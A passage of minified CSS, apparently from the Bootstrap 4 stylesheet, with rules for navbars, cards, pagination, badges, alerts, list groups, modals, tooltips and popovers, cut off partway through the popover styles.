.nav-item{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-body{-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-ms-flexbox;display:flex;-ms-flex:1 0 0%;flex:1 0 0%;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-header,.card-group>.card:first-child .card-img-top{border-top-right-radius:0}.card-group>.card:first-child .card-footer,.card-group>.card:first-child .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-header,.card-group>.card:last-child .card-img-top{border-top-left-radius:0}.card-group>.card:last-child .card-footer,.card-group>.card:last-child .card-img-bottom{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:.25rem}.card-group>.card:only-child .card-header,.card-group>.card:only-child .card-img-top{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card-group>.card:only-child .card-footer,.card-group>.card:only-child .card-img-bottom{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top{border-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;-moz-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion .card:not(:first-of-type):not(:last-of-type){border-bottom:0;border-radius:0}.accordion .card:not(:first-of-type) .card-header:first-child{border-radius:0}.accordion .card:first-of-type{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion .card:last-of-type{border-top-left-radius:0;border-top-right-radius:0}.breadcrumb{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}.badge-primary[href]:focus,.badge-primary[href]:hover{color:#fff;text-decoration:none;background-color:#0062cc}.badge-secondary{color:#fff;background-color:#6c757d}.badge-secondary[href]:focus,.badge-secondary[href]:hover{color:#fff;text-decoration:none;background-color:#545b62}.badge-success{color:#fff;background-color:#28a745}.badge-success[href]:focus,.badge-success[href]:hover{color:#fff;text-decoration:none;background-color:#1e7e34}.badge-info{color:#fff;background-color:#17a2b8}.badge-info[href]:focus,.badge-info[href]:hover{color:#fff;text-decoration:none;background-color:#117a8b}.badge-warning{color:#212529;background-color:#ffc107}.badge-warning[href]:focus,.badge-warning[href]:hover{color:#212529;text-decoration:none;background-color:#d39e00}.badge-danger{color:#fff;background-color:#dc3545}.badge-danger[href]:focus,.badge-danger[href]:hover{color:#fff;text-decoration:none;background-color:#bd2130}.badge-light{color:#212529;background-color:#f8f9fa}.badge-light[href]:focus,.badge-light[href]:hover{color:#212529;text-decoration:none;background-color:#dae0e5}.badge-dark{color:#fff;background-color:#343a40}.badge-dark[href]:focus,.badge-dark[href]:hover{color:#fff;text-decoration:none;background-color:#1d2124}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media screen and (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.media-body{-ms-flex:1;flex:1}.list-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.list-group-item:focus,.list-group-item:hover{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:focus,.close:hover{color:#000;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translate(0,-25%);transform:translate(0,-25%)}@media screen and (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:translate(0,0);transform:translate(0,0)}.modal-dialog-centered{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;min-height:calc(100% - (.5rem * 2))}.modal-content{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #e9ecef;border-top-left-radius:.3rem;border-top-right-radius:.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #e9ecef}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top] .arrow,.bs-popover-top .arrow{bottom:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=top] .arrow::after,.bs-popover-auto[x-placement^=top] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-top .arrow::before{border-width:.5rem .5rem 0}.bs-popover-auto[x-placement^=top] .arrow::before,.bs-popover-top .arrow::before{bottom:0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top] .arrow::after,.bs-popover-top .arrow::after{bottom:1px;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right] .arrow,.bs-popover-right .arrow{left:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-right .arrow::before{border-width:.5rem .5rem .5rem 0}.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::before{left:0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-right .arrow::after{left:1px;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom] .arrow,.bs-popover-bottom .arrow{top:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=bottom] .arrow::after,.bs-popover-auto[x-placement^=bottom] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-bottom .arrow::before{border-width:0 .5rem .5rem .5rem}.bs-popover-auto[x-placement^=bottom] .arrow::before,.bs-popover-bottom .arrow::before{top:0;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom] .arrow::after,.bs-popover-bottom .arrow::after{top:1px;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left] .arrow,.bs-popover-left .arrow{right:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left] .arrow::after,.bs-popover-auto[x-placement^=left] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-left .arrow::before{border-width:.5rem 0 .5rem .5rem}.bs-popover-auto[x-placement^=left] .arrow::before,.bs-popover-left .arrow::before{right:0;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left] .arrow::after,.bs-popover-left .arrow::after{right:1px;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem 